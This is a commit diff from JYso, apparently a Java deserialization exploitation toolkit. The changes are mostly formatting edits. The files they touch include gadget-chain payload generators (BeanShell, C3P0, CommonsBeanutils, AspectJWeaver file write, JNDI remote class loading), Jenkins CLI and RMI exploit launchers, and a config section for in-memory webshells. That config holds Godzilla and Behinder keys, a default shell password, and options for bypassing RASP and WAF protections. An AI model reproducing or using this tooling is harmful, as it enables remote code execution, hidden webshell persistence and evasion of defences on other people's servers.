final Object payloadObject = ysoserial.PAYLOAD; final Object payloadObject = ysoserial.PAYLOAD;
String myAddr = args[1]; String myAddr = args[1];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[0]; String jenkinsUrl = args[0];
Thread t = null; Thread t = null;
Channel c = null; Channel c = null;
try { try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java
+4 -4
View File
@@ -29,10 +29,10 @@ public class RMIBindExploit {
System.exit(-1); System.exit(-1);
} }
String host = args[0]; String host = args[0];
int registryPort = Integer.parseInt(args[1]); int registryPort = Integer.parseInt(args[1]);
String command = args[2]; String command = args[2];
String serviceName = args[3]; String serviceName = args[3];
Registry registry = LocateRegistry.getRegistry(host, registryPort); Registry registry = LocateRegistry.getRegistry(host, registryPort);
System.out.println(Arrays.toString(registry.list())); System.out.println(Arrays.toString(registry.list()));
src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java
+9 -9
View File
@@ -49,16 +49,16 @@ public class AspectJWeaver implements ObjectPayload<Serializable> {
if (sep < 0) { if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>"); throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
} }
String[] parts = command.split(":"); String[] parts = command.split(":");
String filename = parts[0]; String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]); byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12); Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content); Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1); HashSet map = new HashSet(1);
map.add("QI4L"); map.add("QI4L");
Field f; Field f;
try { try {
src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java
+9 -9
View File
@@ -34,19 +34,19 @@ public class AspectJWeaver2 implements ObjectPayload<Serializable> {
if (sep < 0) { if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>"); throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
} }
String[] parts = command.split(";"); String[] parts = command.split(";");
String filename = parts[0]; String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]); byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12); Object simpleCache = ctor.newInstance(".", 12);
Factory ft = new ConstantFactory(content); Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft); Transformer ct = new FactoryTransformer(ft);
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1); HashSet map = new HashSet(1);
map.add("QI4L"); map.add("QI4L");
Field f = null; Field f = null;
try { try {
src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java
+7 -7
View File
@@ -22,15 +22,15 @@ import java.util.PriorityQueue;
public class BeanShell1 implements ObjectPayload<PriorityQueue> { public class BeanShell1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception { public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command); String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter(); Interpreter i = new Interpreter();
i.eval(payload); i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i); XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator); PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)}; Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)};
Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2)); Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2));
src/main/java/com/qi4l/JYso/gadgets/BeanShell2.java
+5 -5
View File
@@ -20,16 +20,16 @@ import java.util.PriorityQueue;
public class BeanShell2 implements ObjectPayload<PriorityQueue> { public class BeanShell2 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception { public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command); String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter(); Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class); Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
setu.setAccessible(true); setu.setAccessible(true);
setu.invoke(i, "bsh.cwd", "."); setu.invoke(i, "bsh.cwd", ".");
i.eval(payload); i.eval(payload);
Class<?> xthis = Class.forName("bsh.XThis"); Class<?> xthis = Class.forName("bsh.XThis");
Field handlerField = xthis.getDeclaredField("invocationHandler"); Field handlerField = xthis.getDeclaredField("invocationHandler");
handlerField.setAccessible(true); handlerField.setAccessible(true);
Constructor<?> xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class); Constructor<?> xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
xthisDeclaredConstructor.setAccessible(true); xthisDeclaredConstructor.setAccessible(true);
@@ -38,7 +38,7 @@ public class BeanShell2 implements ObjectPayload<PriorityQueue> {
InvocationHandler handler = (InvocationHandler) handlerField.get(xt); InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> queue = new PriorityQueue(2); PriorityQueue<Object> queue = new PriorityQueue(2);
queue.add("1"); queue.add("1");
queue.add("2"); queue.add("2");
src/main/java/com/qi4l/JYso/gadgets/BindingEnumeration.java
+3 -3
View File
@@ -5,9 +5,9 @@ import java.net.URI;
public class BindingEnumeration implements ObjectPayload<Object> { public class BindingEnumeration implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory(); UtilFactory uf = new UtilFactory();
URI uri = new URI(command); URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[0], args[1]))); return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[0], args[1])));
} }
} }
src/main/java/com/qi4l/JYso/gadgets/C3P0.java
+1 -1
View File
@@ -40,7 +40,7 @@ public class C3P0 implements ObjectPayload<Object> {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
} }
String url = command.substring(0, sep); String url = command.substring(0, sep);
String className = command.substring(sep + 1); String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
src/main/java/com/qi4l/JYso/gadgets/C3P04.java
+4 -5
View File
@@ -6,7 +6,6 @@ import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.HexUtils; import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SnakeYamlUtils;
import org.apache.naming.ResourceRef; import org.apache.naming.ResourceRef;
import javax.naming.NamingException; import javax.naming.NamingException;
@@ -53,8 +52,8 @@ public class C3P04 implements ObjectPayload<Object> {
throw new IllegalArgumentException("Command format is: <type>:<cmd>"); throw new IllegalArgumentException("Command format is: <type>:<cmd>");
} }
String[] parts = command.split("-"); String[] parts = command.split("-");
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1])); Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
return b; return b;
} }
@@ -93,14 +92,14 @@ public class C3P04 implements ObjectPayload<Object> {
case "writeJar": case "writeJar":
String[] parts = cmd.split(":"); String[] parts = cmd.split(":");
try { try {
yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]); yaml = com.qi4l.JYso.gadgets.utils.Utils.createPoC(parts[0], parts[1]);
} catch (Exception e) { } catch (Exception e) {
throw new RuntimeException(e); throw new RuntimeException(e);
} }
break; break;
case "c3p0Double": case "c3p0Double":
try { try {
byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd))); byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd)));
String hexString = HexUtils.bytesToHexString(data, data.length); String hexString = HexUtils.bytesToHexString(data, data.length);
yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
"userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";"; "userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";";
src/main/java/com/qi4l/JYso/gadgets/C3P092.java
+2 -2
View File
@@ -34,7 +34,7 @@ public class C3P092 implements ObjectPayload<Object> {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
} }
String url = command.substring(0, sep); String url = command.substring(0, sep);
String className = command.substring(sep + 1); String className = command.substring(sep + 1);
// 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID // 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID
@@ -46,7 +46,7 @@ public class C3P092 implements ObjectPayload<Object> {
ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); ClassFieldHandler.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;");
// mock method name until armed // mock method name until armed
final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader()); final Class<?> clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader());
Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource);
Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url));
src/main/java/com/qi4l/JYso/gadgets/C3P0JDBC.java
+2 -2
View File
@@ -31,8 +31,8 @@ public class C3P0JDBC implements ObjectPayload<Object> {
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(o); jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI.java
+4 -4
View File
@@ -11,7 +11,7 @@ import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4}) @Authors({Authors.UNAM4})
public class C3P0JNDI implements ObjectPayload<Object> { public class C3P0JNDI implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) { if (command.toLowerCase().startsWith("jndi:")) {
@@ -23,12 +23,12 @@ public class C3P0JNDI implements ObjectPayload<Object> {
} }
Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); Object o = Reflections.createWithoutConstructor("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
Reflections.setFieldValue(o,"jndiName",command); Reflections.setFieldValue(o, "jndiName", command);
Reflections.setFieldValue(o,"identityToken","exp"); Reflections.setFieldValue(o, "identityToken", "exp");
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(o); jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
src/main/java/com/qi4l/JYso/gadgets/C3P0JNDI2.java
+2 -2
View File
@@ -11,7 +11,7 @@ import java.util.HashMap;
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"}) @Dependencies({"com.mchange:c3p0:0.9.5.2", "com.alibaba.fastjson:com.alibaba.fastjson1.X"})
@Authors({Authors.UNAM4}) @Authors({Authors.UNAM4})
public class C3P0JNDI2 implements ObjectPayload<Object> { public class C3P0JNDI2 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
if (command.toLowerCase().startsWith("jndi:")) { if (command.toLowerCase().startsWith("jndi:")) {
@@ -27,7 +27,7 @@ public class C3P0JNDI2 implements ObjectPayload<Object> {
JSONArray jsonArray = new JSONArray(); JSONArray jsonArray = new JSONArray();
jsonArray.add(o); jsonArray.add(o);
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val"); Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true); valfield.setAccessible(true);
valfield.set(val, jsonArray); valfield.set(val, jsonArray);
src/main/java/com/qi4l/JYso/gadgets/C3P0RefDataSource.java
+1 -1
View File
@@ -1,6 +1,6 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
public class C3P0RefDataSource implements ObjectPayload{ public class C3P0RefDataSource implements ObjectPayload {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
// Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); // Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource"));
src/main/java/com/qi4l/JYso/gadgets/C3P0WrapperConnPool.java
+11 -11
View File
@@ -15,19 +15,10 @@ import java.net.URI;
import java.util.Hashtable; import java.util.Hashtable;
public class C3P0WrapperConnPool implements ObjectPayload<Object> { public class C3P0WrapperConnPool implements ObjectPayload<Object> {
@Override public static String makeC3P0UserOverridesString(String codebase, String clazz) throws ClassNotFoundException, NoSuchMethodException,
public Object getObject(String command) throws Exception {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]));
return obj;
}
public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException,
InstantiationException, IllegalAccessException, InvocationTargetException, IOException { InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
ByteArrayOutputStream b = new ByteArrayOutputStream(); ByteArrayOutputStream b = new ByteArrayOutputStream();
try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) { try (ObjectOutputStream oos = new ObjectOutputStream(b)) {
Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$ Class<?> refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$
Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); Constructor<?> con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
con.setAccessible(true); con.setAccessible(true);
@@ -38,4 +29,13 @@ public class C3P0WrapperConnPool implements ObjectPayload<Object> {
return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$ return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$
} }
@Override
public Object getObject(String command) throws Exception {
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class);
Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[0], args[1]));
return obj;
}
} }
src/main/java/com/qi4l/JYso/gadgets/Click1.java
+1 -1
View File
@@ -69,7 +69,7 @@ public class Click1 implements ObjectPayload<Object> {
// finally, we inject and new TemplatesImpl object into the queue, // finally, we inject and new TemplatesImpl object into the queue,
// so its getOutputProperties() method will be called // so its getOutputProperties() method will be called
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
final Object template; final Object template;
template = Gadgets.createTemplatesImpl(command); template = Gadgets.createTemplatesImpl(command);
queueArray[0] = template; queueArray[0] = template;
return queue; return queue;
src/main/java/com/qi4l/JYso/gadgets/Clojure.java
+2 -2
View File
@@ -33,8 +33,8 @@ import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES;
public class Clojure implements ObjectPayload<Map<?, ?>> { public class Clojure implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(String command) throws Exception { public Map<?, ?> getObject(String command) throws Exception {
String clojurePayload = ClojureUtil.makeClojurePayload(command); String clojurePayload = ClojureUtil.makeClojurePayload(command);
Map<String, Object> fnMap = new HashMap<>(); Map<String, Object> fnMap = new HashMap<>();
fnMap.put("hashCode", (new core$constantly()).invoke(0)); fnMap.put("hashCode", (new core$constantly()).invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); model.__initClojureFnMappings(PersistentArrayMap.create(fnMap));
src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare183.java
+1 -1
View File
@@ -24,7 +24,7 @@ public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object template; final Object template;
template = Gadgets.createTemplatesImpl(command); template = Gadgets.createTemplatesImpl(command);
AttrNSImpl attrNS1 = new AttrNSImpl(); AttrNSImpl attrNS1 = new AttrNSImpl();
CoreDocumentImpl coreDocument = new CoreDocumentImpl(); CoreDocumentImpl coreDocument = new CoreDocumentImpl();
attrNS1.setValues(coreDocument, "1", "1", "1"); attrNS1.setValues(coreDocument, "1", "1", "1");
src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsAttrCompare192.java
+1 -1
View File
@@ -19,7 +19,7 @@ public class CommonsBeanutilsAttrCompare192 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object template; final Object template;
template = Gadgets.createTemplatesImpl(command); template = Gadgets.createTemplatesImpl(command);
AttrNSImpl attrNS1 = new AttrNSImpl(); AttrNSImpl attrNS1 = new AttrNSImpl();
CoreDocumentImpl coreDocument = new CoreDocumentImpl(); CoreDocumentImpl coreDocument = new CoreDocumentImpl();
attrNS1.setValues(coreDocument, "1", "1", "1"); attrNS1.setValues(coreDocument, "1", "1", "1");
src/main/java/com/qi4l/JYso/gadgets/CommonsBeanutilsJNDI.java
+1 -1
View File
@@ -21,7 +21,7 @@ public class CommonsBeanutilsJNDI implements ObjectPayload<Object> {
} }
BeanComparator comparator = new BeanComparator("lowestSetBit"); BeanComparator comparator = new BeanComparator("lowestSetBit");
JdbcRowSetImpl rs = new JdbcRowSetImpl(); JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiURL); rs.setDataSourceName(jndiURL);
rs.setMatchColumn("QI4L"); rs.setMatchColumn("QI4L");
PriorityQueue queue = new PriorityQueue(2, comparator); PriorityQueue queue = new PriorityQueue(2, comparator);
src/main/java/com/qi4l/JYso/gadgets/Config/Config.java
+51 -51
View File
@@ -29,103 +29,103 @@ public class Config {
public static int rmiPort = 1099; public static int rmiPort = 1099;
@Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3) @Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3)
public static int httpPort = 3456; public static int httpPort = 3456;
@Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command") @Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command")
public static String command = "whoami"; public static String command = "whoami";
@Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5) @Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5)
public static boolean showVersion; public static boolean showVersion;
@Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5) @Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5)
public static boolean showGadgets; public static boolean showGadgets;
@Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5) @Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5)
public static String AESkey = "123"; public static String AESkey = "123";
@Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5) @Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5)
public static String USER = ""; public static String USER = "";
@Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5) @Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5)
public static String PASSWD = ""; public static String PASSWD = "";
@Parameter(names = {"-t", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5) @Parameter(names = {"-t", " --TLSProxy"}, help = true, description = "TLS port forwarding", order = 5)
public static boolean TLSProxy = false; public static boolean TLSProxy = false;
@Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5) @Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5)
public static String TLSPort = "1636"; public static String TLSPort = "1636";
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5) @Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
public static String keyPass = ""; public static String keyPass = "";
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5) @Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
public static String certFile = ""; public static String certFile = "";
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5) @Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
public static boolean jndi = false; public static boolean jndi = false;
public static String rhost; public static String rhost;
public static String rport; public static String rport;
// 从HTTP外部获取路由值 // 从HTTP外部获取路由值
public static String ROUTE = ""; public static String ROUTE = "";
// 从HTTP外部获取参数值 // 从HTTP外部获取参数值
public static String BCEL1 = ""; public static String BCEL1 = "";
// 恶意类是否继承 AbstractTranslet // 恶意类是否继承 AbstractTranslet
public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false; public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false;
//是否使用反射绕过RASP //是否使用反射绕过RASP
public static Boolean IS_OBSCURE = false; public static Boolean IS_OBSCURE = false;
// 各种方式的内存马映射的路径 // 各种方式的内存马映射的路径
public static String URL_PATTERN = "/qi4l"; public static String URL_PATTERN = "/qi4l";
// 是否使用落地文件的方式隐藏内存马 // 是否使用落地文件的方式隐藏内存马
public static Boolean HIDE_MEMORY_SHELL = false; public static Boolean HIDE_MEMORY_SHELL = false;
// 是否生成内存马文件 // 是否生成内存马文件
public static Boolean GEN_MEM_SHELL = false; public static Boolean GEN_MEM_SHELL = false;
// 内存马文件名 // 内存马文件名
public static String GEN_MEM_SHELL_FILENAME = ""; public static String GEN_MEM_SHELL_FILENAME = "";
// 落地文件姿势，1 charsets.jar 2 classes // 落地文件姿势，1 charsets.jar 2 classes
public static int HIDE_MEMORY_SHELL_TYPE = 0; public static int HIDE_MEMORY_SHELL_TYPE = 0;
// 内存马的密码MD5 // 内存马的密码MD5
public static String PASSWORD = "0f359740bd1cda99"; public static String PASSWORD = "0f359740bd1cda99";
// Referer 校验 // Referer 校验
public static String HEADER_KEY = "Referer"; public static String HEADER_KEY = "Referer";
// 用于额外校验的 Http Header 值，默认值 https://QI4L.cn/ // 用于额外校验的 Http Header 值，默认值 https://QI4L.cn/
public static String HEADER_VALUE = "https://QI4L.cn/"; public static String HEADER_VALUE = "https://QI4L.cn/";
// 哥斯拉的 key，默认是 key // 哥斯拉的 key，默认是 key
public static String GODZILLA_KEY = "3c6e0b8a9c15224a"; public static String GODZILLA_KEY = "3c6e0b8a9c15224a";
// 密码原文 // 密码原文
public static String PASSWORD_ORI = "p@ssw0rd"; public static String PASSWORD_ORI = "p@ssw0rd";
// 命令执行回显时，传递执行命令的 Header 头 // 命令执行回显时，传递执行命令的 Header 头
public static String CMD_HEADER_STRING = "X-Token-Data"; public static String CMD_HEADER_STRING = "X-Token-Data";
//内存马的类型 //内存马的类型
public static String Shell_Type = "bx"; public static String Shell_Type = "bx";
//是否使用windows下Agent写入 //是否使用windows下Agent写入
public static Boolean winAgent = false; public static Boolean winAgent = false;
//是否使用Linux下Agent写入 //是否使用Linux下Agent写入
public static Boolean linAgent = false; public static Boolean linAgent = false;
// 是否在序列化数据流中的 TC_RESET 中填充脏数据 // 是否在序列化数据流中的 TC_RESET 中填充脏数据
public static Boolean IS_DIRTY_IN_TC_RESET = false; public static Boolean IS_DIRTY_IN_TC_RESET = false;
public static Boolean IS_UTF_Bypass = false; public static Boolean IS_UTF_Bypass = false;
public static Boolean IS_Hessian1 = false; public static Boolean IS_Hessian1 = false;
public static Boolean IS_Hessian2 = false; public static Boolean IS_Hessian2 = false;
public static Boolean IS_Xstream = false; public static Boolean IS_Xstream = false;
public static Boolean IS_Kryo = false; public static Boolean IS_Kryo = false;
public static Boolean IS_JYAML = false; public static Boolean IS_JYAML = false;
public static Boolean IS_JsonIO = false; public static Boolean IS_JsonIO = false;
public static Boolean IS_YamlBeans = false; public static Boolean IS_YamlBeans = false;
public static Boolean IS_Castor = false; public static Boolean IS_Castor = false;
public static Boolean IS_Jackson = false; public static Boolean IS_Jackson = false;
// 填充的脏数据长度 // 填充的脏数据长度
public static int DIRTY_LENGTH_IN_TC_RESET = 0; public static int DIRTY_LENGTH_IN_TC_RESET = 0;
// 是否使用UTF-8 Overlong Encoding Bypass waf // 是否使用UTF-8 Overlong Encoding Bypass waf
// jboss // jboss
public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false; public static Boolean IS_JBOSS_OBJECT_INPUT_STREAM = false;
// DefineClassFromParameter 的路径 // DefineClassFromParameter 的路径
public static String PARAMETER = "dc"; public static String PARAMETER = "dc";
// 将输入直接写在文件里 // 将输入直接写在文件里
public static String FILE = "out.ser"; public static String FILE = "out.ser";
public static Boolean WRITE_FILE = false; public static Boolean WRITE_FILE = false;
public static Boolean BASE64 = false; public static Boolean BASE64 = false;
// 是否强制使用 org.apache.XXX.TemplatesImpl // 是否强制使用 org.apache.XXX.TemplatesImpl
public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false;
